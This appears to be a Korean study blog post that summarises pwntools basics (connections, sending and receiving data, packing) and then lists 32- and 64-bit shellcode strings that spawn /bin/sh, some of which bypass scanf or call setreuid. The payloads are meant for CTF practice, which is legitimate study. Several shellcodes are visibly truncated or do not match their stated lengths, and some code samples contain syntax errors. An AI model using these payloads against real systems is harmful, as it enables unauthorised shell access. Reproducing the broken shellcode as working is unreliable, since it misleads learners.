일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 |
- hackerschool
- N0Named
- Memory Virtualization
- systemhacking
- Variable Partition
- AjouUniv #Whois #Reversing
- Whois #AjouUniv #정보보안교육 #Pwnable
- python
- webhacking
- 사이버보안학과
- AjouUniv #Whois #정보보안교육 #Pwnable
- Allocation Starategy
- AjouUniv #SuniNatas #Web
- SuNiNaTaS #mandu-mandu #AjouUniv #forensics
- 스케줄링
- Whois #정보보안교육 #webhacking.kr
- N0NamedWargame #mandu-mandu #forensics #left_side_B
- Whois #정보보안교육 #Ajou
- 아주대학교
- 아주대학교 #Whois #정보보안교육 #4주차
- HackCTF
- Dreamhack
- Pwnable
- 코딩도장
- N0NamedWargame #mandu-mandu #forensics #길에서주어온만두
- 운영체제
- ftz
- AjouUniv #Whois #정보보안교육
- Whois #정보보안교육 #AjouUniv #Pwnable
- N0NamedWargame #AjouUniv #mandu-mandu #forensics
- Today
- Total
chipkkang9's story
Pwntools 기본 사용법 정리 본문
본 문서는 시스템 해킹을 공부하며 여러 블로그를 보고 정리한 문서입니다.
설치 방법
터미널에서 설치
sudo apt-get install python2.7-dev python-pip
pip install pwntools
sudo apt-get install libcapstone-dev
명령어 정리
접속 - process / remote / ssh
process 함수는 로컬 바이너리에 대해 익스플로잇할 때 사용하는 함수,
remote 함수는 원격 서버를 대상으로 익스플로잇할 때 사용하는 함수,
ssh 함수는 ssh를 통해서 접속하는 함수이다.
from pwn import *
p = process('./test') # process(filename)
p = remote('dreamhack.com', 0621) #remote(host, port)
p = ssh("fd", "pwnable.kr", 0621) #ssh(user, host, port, password)
p.close() #process close
페이로드 보내기
from pwn import *
p = process('./test')
p.send('A') #./test에 A 입력
p.sendline('A') #./test에 'A'입력 뒤에 newline character(\\n)까지 입력
p.sendafter('asdf', 'A') #./test가 'asdf'를 출력할 시, 'A' 입력
p.sendlineafter('asdf', A') #./test가 'asdf'를 출력할 시, 'A'+'\\n'를 입력
데이터 받기
from pwn import *
p = process('./test')
data = p.recv(1024) #p가 출력하는 데이터 중 최대 1024바이트의 데이터를 받아서 data에 저장
data = p.recvline() #p가 출력하는 데이터 중 개행문자를 마날 때까지를 data에 저장
p.recvn(5) #p가 출력하는 데이터 중 정확히 5바이트 받아서 data에 저장
print p.recvuntil('asdf') #'asdf'라는 문자열을 p가 출력할 때까지 받아서 출력
print p.recvall() #연결이 끊어지거나 프로세스가 종료될 때가지 받아서 data에 저장
패킹과 언패킹
대부분의 CPU는 little endian 방식을 이용한다.
from pwn import *
data32 = 0x41424344
data64 = 0x4142434445464748
print p32(data32) #DCBA
print p64(data64) #HGFEDCBA
data32 = "ABCD"
data64 = "ABCDEFGH"
print hex(u32(data32)) #0x44434241
print hex(u64(data64)) #0x4847464544434241
Shellcode(쉘코드) 모음
32bit shellcode
(1) 6 Bytes Shell Code
“\x31\xc0\xb0\x01\xcd\x80”
(2) 25 Bytes Shell Code (기본 쉘코드)
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0”
(3) 26 Bytes Shell Code (scanf 우회 쉘코드)
“\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80”
(4) 41 Bytes Shell Code (setreuid(geteuid(), getreuid()) 포함)
“\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”
(5) 48 Bytes Shell Code (\x2f가 없는 쉘코드)
“\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81”
64bit shellcode
(1) 23 Bytes Shell Code (기본 쉘코드)
“\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x0”
(2) 31 Bytes Shell Code
“\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05”
'Hacking > System Hacking' 카테고리의 다른 글
[환경구축] Windows에서 ubuntu 사용하기 : WSL2 / VMware (0) | 2023.05.17 |
---|---|
FSB(Format String Bug) 취약점 (0) | 2022.02.09 |